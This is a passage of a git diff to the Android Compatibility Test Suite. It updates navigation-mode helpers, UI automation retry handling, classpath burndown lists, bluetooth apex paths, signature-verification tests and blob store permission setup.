WindowInsets.Type.navigationBars()); + insetsToRect(navInsets, outSize); + } + } + + // Monitoring the navigation bar insets size change as a hint of gesture mode has changed, not + // the best option for every kind of devices. We can consider listening OVERLAY_CHANGED + // broadcast in U. + private void monitorOverlayChange(Runnable overlayChangeCommand) { + if (mWindowManager != null) { + final Rect initSize = new Rect(); + getCurrentInsetsSize(initSize); + + overlayChangeCommand.run(); + // wait for insets size change + final Rect peekSize = new Rect(); + int t = 0; + while (t < WAIT_OVERLAY_TIMEOUT) { + SystemClock.sleep(PEEK_INTERVAL); + t += PEEK_INTERVAL; + getCurrentInsetsSize(peekSize); + if (!peekSize.equals(initSize)) { + break; } } - leaveSettings(); + } else { + // shouldn't happen + overlayChangeCommand.run(); + SystemClock.sleep(WAIT_OVERLAY_TIMEOUT); } } - private void assumeGestureNavigationMode() { + /** + * Assumes the device is in gesture navigation mode. Due to constraints of AndroidJUnitRunner we + * can't make assumptions in static contexts like in a {@link ClassRule} so tests need to call + * this method explicitly. + */ + public void assumeGestureNavigationMode() { boolean isGestureMode = isGestureMode(); assumeTrue("Gesture navigation required", isGestureMode); } - private boolean isGestureMode() { - // TODO: b/153032202 consider the CTS on GSI case. + private int getCurrentNavMode() { Resources res = mTargetContext.getResources(); int naviModeId = res.getIdentifier(NAV_BAR_INTERACTION_MODE_RES_NAME, "integer", "android"); - int naviMode = res.getInteger(naviModeId); - return naviMode == NAV_BAR_INTERACTION_MODE_GESTURAL; + return res.getInteger(naviModeId); } - private static String getSettingsString(Resources res, String strResName) { - int resIdString = res.getIdentifier(strResName, "string", SETTINGS_PACKAGE_NAME); - if (resIdString <= MIN_APPLICATION_RES_ID) { - return null; - } + private boolean containsNavigationBar() { + final Rect peekSize = new Rect(); + getCurrentInsetsSize(peekSize); + return peekSize.height() != 0; + } - return res.getString(resIdString); + private boolean isGestureMode() { + if (!containsNavigationBar()) { + return false; + } + final int naviMode = getCurrentNavMode(); + return naviMode == NAV_BAR_MODE_GESTURAL; } } diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java index 3f42e32f5f5..a9543c246ab 100644 --- a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java +++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java @@ -21,6 +21,7 @@ import static org.junit.Assert.assertNotNull; import android.graphics.Rect; import android.support.test.uiautomator.By; import android.support.test.uiautomator.BySelector; +import android.support.test.uiautomator.StaleObjectException; import android.support.test.uiautomator.UiDevice; import android.support.test.uiautomator.UiObject2; import android.support.test.uiautomator.UiObjectNotFoundException; @@ -28,6 +29,7 @@ import android.support.test.uiautomator.UiScrollable; import android.support.test.uiautomator.UiSelector; import android.support.test.uiautomator.Until; import android.util.TypedValue; +import android.util.Log; import androidx.test.InstrumentationRegistry; import androidx.test.core.app.ApplicationProvider; @@ -37,6 +39,8 @@ import java.util.regex.Pattern; public class UiAutomatorUtils { private UiAutomatorUtils() {} + private static final String LOG_TAG = "UiAutomatorUtils"; + /** Default swipe deadzone percentage. See {@link UiScrollable}. */ private static final double DEFAULT_SWIPE_DEADZONE_PCT = 0.1; @@ -86,7 +90,15 @@ public class UiAutomatorUtils { final int minViewHeightPx = convertDpToPx(MIN_VIEW_HEIGHT_DP); while (view == null && start + timeoutMs > System.currentTimeMillis()) { - view = getUiDevice().wait(Until.findObject(selector), 1000); + try { + view = getUiDevice().wait(Until.findObject(selector), 1000); + } catch (StaleObjectException exception) { + // UiDevice.wait() may cause StaleObjectException if the {@link View} attached to + // UiObject2 is no longer in the view tree. + Log.v(LOG_TAG, "UiObject2 view is no longer in the view tree.", exception); + getUiDevice().waitForIdle(); + continue; + } if (view == null || view.getVisibleBounds().height() < minViewHeightPx) { final double deadZone = !(FeatureUtil.isWatch() || FeatureUtil.isTV()) diff --git a/common/device-side/util/OWNERS b/common/device-side/util/OWNERS index b61fd53957d..aa5c93ef36a 100644 --- a/common/device-side/util/OWNERS +++ b/common/device-side/util/OWNERS @@ -1,2 +1,2 @@ -per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, aaronholden@google.com, yuji@google.com, nickrose@google.com, felipeal@google.com +per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, felipeal@google.com diff --git a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java index a1764996f11..da41f95ef30 100644 --- a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java +++ b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java @@ -83,6 +83,7 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { private static ImmutableList<String> sSystemserverclasspathJars; private static ImmutableList<String> sSharedLibJars; private static ImmutableList<SharedLibraryInfo> sSharedLibs; + private static ImmutableMultimap<String, String> sSharedLibsPathsToName; private static ImmutableMultimap<String, String> sJarsToClasses; private static ImmutableMultimap<String, String> sJarsToFiles; @@ -206,6 +207,7 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { "Landroid/os/IVoldListener;", "Landroid/os/IVoldMountCallback;", "Landroid/os/IVoldTaskListener;", + "Landroid/os/TouchOcclusionMode;", "Landroid/os/storage/CrateMetadata;", "Landroid/view/LayerMetadataKey;", "Lcom/android/internal/annotations/CompositeRWLock;", @@ -223,7 +225,21 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { "Landroid/os/CreateAppDataArgs;", "Landroid/os/CreateAppDataResult;", "Landroid/os/ReconcileSdkDataArgs;", - "Lcom/android/internal/util/FrameworkStatsLog;" + "Lcom/android/internal/util/FrameworkStatsLog;", + // Extra Pixel specific S oversights + "Landroid/os/BlockUntrustedTouchesMode;", + "Landroid/os/IInputConstants;", + "Landroid/os/InputEventInjectionResult;", + "Landroid/os/InputEventInjectionSync;", + // TODO(b/242741880): Remove duplication between sdksandbox-service and + // sdk-sandbox-framework + "Landroid/app/sdksandbox/ILoadSdkCallback;", + "Landroid/app/sdksandbox/IRequestSurfacePackageCallback;", + "Landroid/app/sdksandbox/ISdkSandboxManager;", + "Landroid/app/sdksandbox/ISdkSandboxProcessDeathCallback;", + "Landroid/app/sdksandbox/ISendDataCallback;", + "Landroid/app/sdksandbox/ISharedPreferencesSyncCallback;", + "Landroid/app/sdksandbox/ISdkToServiceCallback;" ); private static final String FEATURE_WEARABLE = "android.hardware.type.watch"; @@ -335,7 +351,7 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { // Already duplicate in BCP. "Landroid/hidl/base/V1_0/DebugInfo;", "Landroid/hidl/base/V1_0/IBase;", - // /apex/com.android.bluetooth/javalib/framework-bluetooth.jar + // /apex/com.android.btservices/javalib/framework-bluetooth.jar "Lcom/android/bluetooth/x/android/sysprop/AdbProperties;", "Lcom/android/bluetooth/x/android/sysprop/ApkVerityProperties;", "Lcom/android/bluetooth/x/android/sysprop/BluetoothProperties;", @@ -717,14 +733,22 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { private static final ImmutableSet<String> ADSERVICES_SANDBOX_APK_IN_APEX_BURNDOWN_LIST = ImmutableSet.of( // /apex/com.android.adservices/javalib/service-sdksandbox.jar + "Landroid/app/sdksandbox/ISharedPreferencesSyncCallback;", + "Lcom/android/sdksandbox/IDataReceivedCallback;", + "Lcom/android/sdksandbox/ILoadSdkInSandboxCallback;", + "Lcom/android/sdksandbox/IRequestSurfacePackageFromSdkCallback;", "Lcom/android/sdksandbox/ISdkSandboxManagerToSdkSandboxCallback;", "Lcom/android/sdksandbox/ISdkSandboxService;", - "Lcom/android/sdksandbox/ISdkSandboxToSdkSandboxManagerCallback;" + "Lcom/android/sdksandbox/SandboxLatencyInfo-IA;", + "Lcom/android/sdksandbox/SandboxLatencyInfo;", + "Lcom/android/sdksandbox/IUnloadSdkCallback;" ); private static final ImmutableMap<String, ImmutableSet<String>> FULL_APK_IN_APEX_BURNDOWN = new ImmutableMap.Builder<String, ImmutableSet<String>>() - .put("/apex/com.android.bluetooth/app/Bluetooth/Bluetooth.apk", + .put("/apex/com.android.btservices/app/Bluetooth/Bluetooth.apk", + BLUETOOTH_APK_IN_APEX_BURNDOWN_LIST) + .put("/apex/com.android.btservices/app/BluetoothGoogle/BluetoothGoogle.apk", BLUETOOTH_APK_IN_APEX_BURNDOWN_LIST) .put("/apex/com.android.bluetooth/app/BluetoothGoogle/BluetoothGoogle.apk", BLUETOOTH_APK_IN_APEX_BURNDOWN_LIST) @@ -732,6 +756,8 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { PERMISSION_CONTROLLER_APK_IN_APEX_BURNDOWN_LIST) .put("/apex/com.android.permission/priv-app/GooglePermissionController/GooglePermissionController.apk", PERMISSION_CONTROLLER_APK_IN_APEX_BURNDOWN_LIST) + .put("/apex/com.android.tethering/priv-app/InProcessTethering/InProcessTethering.apk", + TETHERING_APK_IN_APEX_BURNDOWN_LIST) .put("/apex/com.android.tethering/priv-app/TetheringNextGoogle/TetheringNextGoogle.apk", TETHERING_APK_IN_APEX_BURNDOWN_LIST) .put("/apex/com.android.tethering/priv-app/TetheringGoogle/TetheringGoogle.apk", @@ -785,6 +811,13 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { .filter(file -> !file.contains("GmsCore")) .filter(file -> !file.contains("com.google.android.gms")) .collect(ImmutableList.toImmutableList()); + final ImmutableSetMultimap.Builder<String, String> sharedLibsPathsToName = + ImmutableSetMultimap.builder(); + sSharedLibs.forEach(sharedLibraryInfo -> { + sharedLibraryInfo.paths.forEach(path -> + sharedLibsPathsToName.putAll(path, sharedLibraryInfo.name)); + }); + sSharedLibsPathsToName = sharedLibsPathsToName.build(); final ImmutableSetMultimap.Builder<String, String> jarsToFiles = ImmutableSetMultimap.builder(); @@ -993,8 +1026,8 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { .collect(ImmutableSet.toImmutableSet()); // b/226559955: The directory paths containing APKs contain the build ID, // so strip out the @BUILD_ID portion. - // e.g. /apex/com.android.bluetooth/app/Bluetooth@SC-DEV/Bluetooth.apk -> - // /apex/com.android.bluetooth/app/Bluetooth/Bluetooth.apk + // e.g. /apex/com.android.btservices/app/Bluetooth@SC-DEV/Bluetooth.apk -> + // /apex/com.android.btservices/app/Bluetooth/Bluetooth.apk apk = apk.replaceFirst("@[^/]*", ""); final ImmutableSet<String> burndownClasses = FULL_APK_IN_APEX_BURNDOWN.getOrDefault(apk, ImmutableSet.of()); @@ -1024,20 +1057,26 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { * and shared library jars. */ @Test - public void testBootClasspathAndSystemServerClasspathAndSharedLibs_noAndroidxDependencies() { + public void testBootClasspathAndSystemServerClasspathAndSharedLibs_noAndroidxDependencies() + throws Exception { + assumeTrue(mDeviceSdkLevel.isDeviceAtLeastT()); // WARNING: Do not add more exceptions here, no androidx should be in bootclasspath. // See go/androidx-api-guidelines#module-naming for more details. final ImmutableMap<String, ImmutableSet<String>> - LegacyExemptAndroidxSharedLibsJarToClasses = + LegacyExemptAndroidxSharedLibsNamesToClasses = new ImmutableMap.Builder<String, ImmutableSet<String>>() - .put("/vendor/framework/androidx.camera.extensions.impl.jar", + .put("androidx.camera.extensions.impl", ImmutableSet.of("Landroidx/camera/extensions/impl/")) - .put("/system_ext/framework/androidx.window.extensions.jar", + .put("androidx.window.extensions", ImmutableSet.of("Landroidx/window/common/", "Landroidx/window/extensions/", "Landroidx/window/util/")) - .put("/system_ext/framework/androidx.window.sidecar.jar", + .put("androidx.window.sidecar", ImmutableSet.of("Landroidx/window/common/", "Landroidx/window/sidecar", "Landroidx/window/util")) + .put("com.google.android.camera.experimental2019", + ImmutableSet.of("Landroidx/annotation")) + .put("com.google.android.camera.experimental2020_midyear", + ImmutableSet.of("Landroidx/annotation")) .build(); assertWithMessage("There must not be any androidx classes on the " + "bootclasspath. Please use alternatives provided by the platform instead. " @@ -1045,7 +1084,7 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { .that(sJarsToClasses.entries().stream() .filter(e -> e.getValue().startsWith("Landroidx/")) .filter(e -> !isLegacyAndroidxDependency( - LegacyExemptAndroidxSharedLibsJarToClasses, e.getKey(), e.getValue())) + LegacyExemptAndroidxSharedLibsNamesToClasses, e.getKey(), e.getValue())) .collect(Collectors.toList()) ).isEmpty(); } @@ -1055,7 +1094,8 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { * and shared library jars. */ @Test - public void testNoKotlinFilesInClasspaths() { + public void testNoKotlinFilesInClasspaths() throws Exception { + assumeTrue(mDeviceSdkLevel.isDeviceAtLeastT()); ImmutableList<String> kotlinFiles = Stream.of(sBootclasspathJars.stream(), sSystemserverclasspathJars.stream(), @@ -1063,16 +1103,41 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { .reduce(Stream::concat).orElseGet(Stream::empty) .parallel() .filter(jarPath -> { - return sJarsToFiles - .get(jarPath) - .stream() - .anyMatch(file -> file.contains(".kotlin_builtins") - || file.contains(".kotlin_module")); + // Exclude shared library apks. + return jarPath.endsWith(".jar") + && sJarsToFiles.get(jarPath) + .stream() + .anyMatch(file -> file.contains(".kotlin_builtins") + || file.contains(".kotlin_module")); }) .collect(ImmutableList.toImmutableList()); assertThat(kotlinFiles).isEmpty(); } + /** + * Ensure that all classes from protobuf libraries are jarjared before + * included in BOOTCLASSPATH, SYSTEMSERVERCLASSPATH and shared library jars + */ + @Test + public void testNoProtobufClassesWithoutJarjar() throws Exception { + assumeTrue(mDeviceSdkLevel.isDeviceAtLeastU()); + assertWithMessage("Classes from protobuf libraries must not be included in bootclasspath " + + "and systemserverclasspath without being jarjared.") + .that(Stream.of(sBootclasspathJars.stream(), + sSystemserverclasspathJars.stream(), + sSharedLibJars.stream()) + .reduce(Stream::concat).orElseGet(Stream::empty) + .parallel() + .filter(jarPath -> { + return sJarsToClasses + .get(jarPath) + .stream() + .anyMatch(cls -> cls.startsWith("Lcom/google/protobuf/")); + }) + .collect(ImmutableList.toImmutableList()) + ).isEmpty(); + } + private static File pullJarFromDevice(INativeDevice device, String remoteJarPath) throws DeviceNotAvailableException { File jar = device.pullFile(remoteJarPath); @@ -1091,11 +1156,12 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test { } private boolean isLegacyAndroidxDependency( - ImmutableMap<String, ImmutableSet<String>> legacyExemptAndroidxSharedLibsJarToClasses, - String jar, String className) { - return legacyExemptAndroidxSharedLibsJarToClasses.containsKey(jar) - && legacyExemptAndroidxSharedLibsJarToClasses.get(jar).stream().anyMatch( - v -> className.startsWith(v)); + ImmutableMap<String, ImmutableSet<String>> legacyExemptAndroidxSharedLibsNamesToClasses, + String path, String className) { + return sSharedLibsPathsToName.get(path).stream() + .filter(legacyExemptAndroidxSharedLibsNamesToClasses::containsKey) + .flatMap(name -> legacyExemptAndroidxSharedLibsNamesToClasses.get(name).stream()) + .anyMatch(className::startsWith); } private String[] collectApkInApexPaths() { diff --git a/hostsidetests/appsecurity/res/apexsigverify/README.md b/hostsidetests/appsecurity/res/apexsigverify/README.md index 9012a858ac4..4b5dcd28ddb 100644 --- a/hostsidetests/appsecurity/res/apexsigverify/README.md +++ b/hostsidetests/appsecurity/res/apexsigverify/README.md @@ -15,6 +15,7 @@ frameworks/av/apex/com.android.media.avbpubkey frameworks/base/packages/Tethering/apex/com.android.tethering.avbpubkey frameworks/ml/nn/apex/com.android.neuralnetworks.avbpubkey frameworks/opt/net/ike/apex/com.android.ipsec.avbpubkey +packages/modules/Bluetooth/apex/com.android.btservices.avbpubkey packages/modules/SdkExtensions/com.android.sdkext.avbpubkey system/apex/apexd/apexd_testdata/com.android.apex.test_package_2.avbpubkey system/apex/apexd/apexd_testdata/com.android.apex.test_package.no_inst_key.avbpubkey @@ -27,7 +28,6 @@ system/apex/apexer/testdata/com.android.example.apex.avbpubkey system/apex/apexer/etc/com.android.support.apexer.avbpubkey system/netd/apex/com.android.resolv.avbpubkey system/timezone/apex/com.android.tzdata.avbpubkey -system/bt/apex/com.android.bluetooth.updatable.avbpubkey system/core/adb/apex/com.android.adbd.avbpubkey system/core/rootdir/avb/s-gsi.avbpubkey system/core/rootdir/avb/q-developer-gsi.avbpubkey diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java index cb76f326f66..cee6a39c46a 100644 --- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java +++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java @@ -76,7 +76,7 @@ public class AdoptableHostTest extends BaseHostJUnit4Test { int attempt = 0; boolean hasVirtualDisk = false; String result = ""; - while (!hasVirtualDisk && attempt++ < 20) { + while (!hasVirtualDisk && attempt++ < 50) { Thread.sleep(1000); result = getDevice().executeShellCommand("sm list-disks adoptable").trim(); hasVirtualDisk = result.startsWith("disk:"); diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java index ef44158e15f..3f353d07c94 100644 --- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java +++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PkgInstallSignatureVerificationTest.java @@ -810,8 +810,6 @@ public class PkgInstallSignatureVerificationTest extends DeviceTestCase implemen "verifySignatures_withRotation_succeeds"); } - // TODO(b/235407278): fix the prebuilts used for this test and enable it again - /* @CddTest(requirement="4/C-0-9") public void testInstallV41WrongBlockId() throws Exception { // V4 is only enabled on devices with Incremental feature @@ -862,7 +860,6 @@ public class PkgInstallSignatureVerificationTest extends DeviceTestCase implemen assertInstallV4FailsWithError("CtsSignatureQueryService_v2-tgt-33-wrongDigest.apk", "APK digest in V4 signature does not match V2/V3"); } - */ public void testInstallV3KeyRotationSigPerm() throws Exception { // tests that a v3 signed APK can still get a signature permission from an app with its diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp index ed22bab07b6..d6b736d5198 100644 --- a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp +++ b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp @@ -38,7 +38,9 @@ android_test_helper_app { test_suites: [ "cts", "general-tests", - "mts", + "mts-documentsui", + "mts-mainline-infra", + "mts-mediaprovider", "sts", ], certificate: ":cts-testkey2", diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp index b42c9ac5d8c..723d0632057 100644 --- a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp +++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp @@ -33,7 +33,9 @@ android_test_helper_app { test_suites: [ "cts", "general-tests", - "mts", + "mts-documentsui", + "mts-mainline-infra", + "mts-mediaprovider", "sts", ], certificate: ":cts-testkey1", diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java index 64a9cbc1fd6..7471d28219e 100644 --- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java +++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/WriteExternalStorageTest.java @@ -352,6 +352,9 @@ public class WriteExternalStorageTest extends AndroidTestCase { continue; } assertDirReadWriteAccess(path); + for (final File dir : buildCommonChildDirs(path)) { + dir.mkdirs(); + } assertDirReadWriteAccess(buildCommonChildDirs(path)); } } diff --git a/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java b/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java index fc355afc020..e9e13a8f3b2 100644 --- a/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java +++ b/hostsidetests/blobstore/src/com/android/cts/host/blob/BaseBlobStoreHostTest.java @@ -18,6 +18,7 @@ package com.android.cts.host.blob; import static com.google.common.truth.Truth.assertWithMessage; import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.log.LogUtil.CLog; import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; import com.android.tradefed.testtype.junit4.DeviceTestRunOptions; import com.android.tradefed.util.Pair; @@ -133,12 +134,25 @@ abstract class BaseBlobStoreHostTest extends BaseHostJUnit4Test { protected void addAssistRoleHolder(String pkgName, int userId) throws Exception { final String cmd = String.format("cmd role add-role-holder " + "--user %d android.app.role.ASSISTANT %s", userId, pkgName); - getDevice().executeShellCommand(cmd).trim(); + runCommand(cmd); } protected void removeAssistRoleHolder(String pkgName, int userId) throws Exception { final String cmd = String.format("cmd role remove-role-holder " + "--user %d android.app.role.ASSISTANT %s", userId, pkgName); - getDevice().executeShellCommand(cmd).trim(); + runCommand(cmd); + } + + protected void revokePermission(String pkgName, String permissionName, int userId) + throws Exception { + final String cmd = String.format("cmd package revoke --user %d %s %s", + userId, pkgName, permissionName); + runCommand(cmd); + } + + protected String runCommand(String command) throws Exception { + final String output = getDevice().executeShellCommand(command); + CLog.v("Output of cmd '" + command + "': '" + output.trim() + "'"); + return output; } }
\ No newline at end of file diff --git a/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java b/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java index ec13654ffb5..6731383398b 100644 --- a/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java +++ b/hostsidetests/blobstore/src/com/android/cts/host/blob/BlobStoreMultiUserTest.java @@ -15,10 +15,10 @@ */ package com.android.cts.host.blob; -import static org.junit.Assume.assumeTrue; - import static com.google.common.truth.Truth.assertThat; +import static org.junit.Assume.assumeTrue; + import com.android.tradefed.invoker.TestInformation; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; import com.android.tradefed.testtype.junit4.AfterClassWithInfo; @@ -35,6 +35,9 @@ import java.util.Map; public class BlobStoreMultiUserTest extends BaseBlobStoreHostTest { private static final String TEST_CLASS = TARGET_PKG + ".DataCleanupTest"; + private static final String PERM_ACCESS_BLOBS_ACROSS_USERS = + "android.permission.ACCESS_BLOBS_ACROSS_USERS"; + private static int mPrimaryUserId; private static int mSecondaryUserId; @@ -58,6 +61,10 @@ public class BlobStoreMultiUserTest extends BaseBlobStoreHostTest { // want the ACCESS_BLOBS_ACROSS_USERS permission to be granted by default. installPackageAsUser(TARGET_APK_ASSIST, false /* grantPermissions */, mPrimaryUserId); installPackageAsUser(TARGET_APK_ASSIST, false /* grantPermissions */, mSecondaryUserId); + // Explicitly revoke the permission, in order to deal with + // http://b/233710271 which was causing the permission to be pre-granted. + revokePermission(TARGET_PKG_ASSIST, PERM_ACCESS_BLOBS_ACROSS_USERS, mPrimaryUserId); + revokePermission(TARGET_PKG_ASSIST, PERM_ACCESS_BLOBS_ACROSS_USERS, mSecondaryUserId); } @AfterClassWithInfo diff --git a/hostsidetests/compilation/src/android/compilation/cts/AdbRootDependentCompilationTest.java b/hostsidetests/compilation/src/android/compilation/cts/AdbRootDependentCompilationTest.java index 1bb14bdf7fe..c2e95a3ae63 100644 --- a/hostsidetests/compilation/src/android/compilation/cts/AdbRootDependentCompilationTest.java +++ b/hostsidetests/compilation/src/android/compilation/cts/AdbRootDependentCompilationTest.java @@ -266,6 +266,11 @@ public class AdbRootDependentCompilationTest extends BaseHostJUnit4Test { "android.compilation.cts.appusedbyotherapp.MyActivity.method1()", "android.compilation.cts.appusedbyotherapp.MyActivity.method2()"); + executeCompile(APP_USED_BY_OTHER_APP_PACKAGE, "-m", "verify"); + // The app should not be re-compiled with a worse compiler filter even if the odex file can + // be public after then. + assertThat(getCompilerFilter(odexFilePath)).isEqualTo("speed-profile"); + DeviceTestRunOptions options = new DeviceTestRunOptions(APP_USING_OTHER_APP_PACKAGE); options.setTestClassName(APP_USING_OTHER_APP_PACKAGE + ".UsingOtherAppTest"); options.setTestMethodName("useOtherApp"); diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp b/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp index 0fc8b16bb27..e65bc932400 100644 --- a/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp +++ b/hostsidetests/devicepolicy/app/DeviceOwner/Android.bp @@ -43,6 +43,7 @@ android_test_helper_app { "androidx.legacy_legacy-support-v4", "devicepolicy-deviceside-common", "DpmWrapper", + "NeneInternal", ], min_sdk_version: "21", // tag this module as a cts test artifact diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml index f30d29e88cb..95f5693d1c1 100644 --- a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml +++ b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml @@ -17,7 +17,7 @@ <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.android.cts.deviceowner"> - <uses-sdk android:minSdkVersion="20"/> + <uses-sdk android:minSdkVersion="29"/> <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/> <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/> diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java index eb5cc56a0da..7606b79211f 100644 --- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java +++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BluetoothRestrictionTest.java @@ -16,8 +16,6 @@ package com.android.cts.deviceowner; -import static android.os.Process.BLUETOOTH_UID; - import static com.google.common.truth.Truth.assertWithMessage; import android.bluetooth.BluetoothAdapter; @@ -28,6 +26,7 @@ import android.os.UserManager; import android.util.DebugUtils; import android.util.Log; +import com.android.bedstead.nene.TestApis; import com.android.internal.util.ArrayUtils; /** @@ -134,11 +133,8 @@ public class BluetoothRestrictionTest extends BaseDeviceOwnerTest { return; } - String bluetoothPackageName = mContext.getPackageManager() - .getPackagesForUid(BLUETOOTH_UID)[0]; - - ComponentName oppLauncherComponent = new ComponentName( - bluetoothPackageName, OPP_LAUNCHER_CLASS); + ComponentName oppLauncherComponent = + new ComponentName(TestApis.bluetooth().findPackageName(), OPP_LAUNCHER_CLASS); // First verify DISALLOW_BLUETOOTH. testOppDisabledWhenRestrictionSet(UserManager.DISALLOW_BLUETOOTH, @@ -146,8 +142,8 @@ public class BluetoothRestrictionTest extends BaseDeviceOwnerTest { // Verify DISALLOW_BLUETOOTH_SHARING which leaves bluetooth workable but the sharing // component should be disabled. - testOppDisabledWhenRestrictionSet(UserManager.DISALLOW_BLUETOOTH_SHARING, - oppLauncherComponent); + testOppDisabledWhenRestrictionSet( + UserManager.DISALLOW_BLUETOOTH_SHARING, oppLauncherComponent); } /** Verifies that a given restriction disables the bluetooth sharing component. */ diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java index 4da5fff7f0b..9c8a81d05f7 100644 --- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java +++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java @@ -25,6 +25,8 @@ import android.content.pm.PackageInfo; import android.content.pm.PackageManager; import android.util.Log; +import androidx.test.InstrumentationRegistry; + import java.util.ArrayList; /** @@ -41,6 +43,7 @@ public class UserControlDisabledPackagesTest extends BaseDeviceOwnerTest { private static final String SIMPLE_APP_PKG = "com.android.cts.launcherapps.simpleapp"; private static final String SIMPLE_APP_ACTIVITY = "com.android.cts.launcherapps.simpleapp.SimpleActivityImmediateExit"; + private static final String ARG_PID_BEFORE_STOP = "pidOfSimpleapp"; public void testSetUserControlDisabledPackages() throws Exception { ArrayList<String> protectedPackages = new ArrayList<>(); @@ -86,14 +89,15 @@ public class UserControlDisabledPackagesTest extends BaseDeviceOwnerTest { // Check if package is part of UserControlDisabledPackages before checking if // package is stopped since it is a necessary condition to prevent stopping of // package - assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho())) .containsExactly(SIMPLE_APP_PKG); - assertPackageRunningState(/* running= */ true); + assertPackageRunningState(/* running= */ true, + InstrumentationRegistry.getArguments().getString(ARG_PID_BEFORE_STOP, "-1")); } public void testFgsStopWithUserControlEnabled() throws Exception { - assertPackageRunningState(/* running= */ false); + assertPackageRunningState(/* running= */ false, + InstrumentationRegistry.getArguments().getString(ARG_PID_BEFORE_STOP, "-1")); assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho())).isEmpty(); } @@ -120,9 +124,15 @@ public class UserControlDisabledPackagesTest extends BaseDeviceOwnerTest { return pid.length() > 0; } - private void assertPackageRunningState(boolean shouldBeRunning) throws Exception { + private void 